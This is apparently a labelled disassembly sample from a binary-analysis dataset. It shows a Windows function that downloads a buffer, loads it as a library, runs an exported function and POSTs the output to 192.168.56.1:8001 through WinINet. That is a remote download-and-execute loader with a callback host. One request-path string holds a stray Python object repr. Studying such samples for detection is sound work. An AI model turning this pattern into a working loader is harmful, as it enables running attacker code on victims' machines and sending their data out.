Function at 0x140001070
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001300
lea rcx, str.8001
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov edx, eax
lea r9, [rsp + 0x48]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call fcn.140001530
test eax, eax
jne 0x1400012d3
mov qword [rsp + 0x70], rbx
lea rcx, str.Downloaded__d_bytes_n
mov rbx, qword [rsp + 0x40]
mov edx, ebx
call fcn.140001010
mov rcx, qword [rsp + 0x48]
mov rdx, rbx
call fcn.140001c20
test rax, rax
jne 0x1400010fa
lea rcx, str.Failed_to_load_the_library_n
call fcn.140001010
mov eax, 1
jmp 0x140001294
mov rcx, rax
call fcn.140002340
mov rbx, rax
test rax, rax
jne 0x14000111e
lea rcx, str.Failed_to_find_the_function_n
call fcn.140001010
lea eax, [rbx + 2]
jmp 0x140001294
mov qword [rsp + 0x78], rbp
lea rcx, str.Execute___n
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x60], r14
call fcn.140001010
call rbx
mov rdx, rax
lea rcx, [0x1400044ac]
mov rdi, rax
call fcn.140001010
lea rcx, str.Sending_result_back_n
call fcn.140001010
mov rbx, 0xffffffffffffffff
nop dword [rax + rax]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140001170
lea rcx, str.8001
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor r14d, r14d
lea rcx, [0x140004598]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
mov ebp, eax
lea edx, [r14 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140001269
mov qword [rsp + 0x38], r14
lea rdx, str.192.168.56.1
mov dword [rsp + 0x30], r14d
xor r9d, r9d
mov dword [rsp + 0x28], 3
movzx r8d, bp
mov rcx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rbp, rax
test rax, rax
je 0x140001260
mov qword [rsp + 0x38], r14
lea rax, str.text_
mov qword [rsp + 0x48], rax
lea r8, str._ressources__md5__hashlib.HASH_object___0x78fdaf5df7b0_
lea rax, [rsp + 0x48]
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], rax
lea rdx, str.POST
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov rcx, rbp
mov qword [rsp + 0x50], r14
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r14, rax
test rax, rax
je 0x140001257
mov r9, rdi
mov dword [rsp + 0x20], ebx
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, r14
test eax, eax
jne 0x1400012ab
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, str.Failed_to_send_result_back_n
call fcn.140001010
mov eax, 2
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov r14, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400024f0
add rsp, 0x68
ret
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, str.Successfully_sent_result_back_n
call fcn.140001010
xor eax, eax
jmp 0x14000127a
mov edx, eax
lea rcx, str.Failed_to_download:__d_n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400024f0
add rsp, 0x68
ret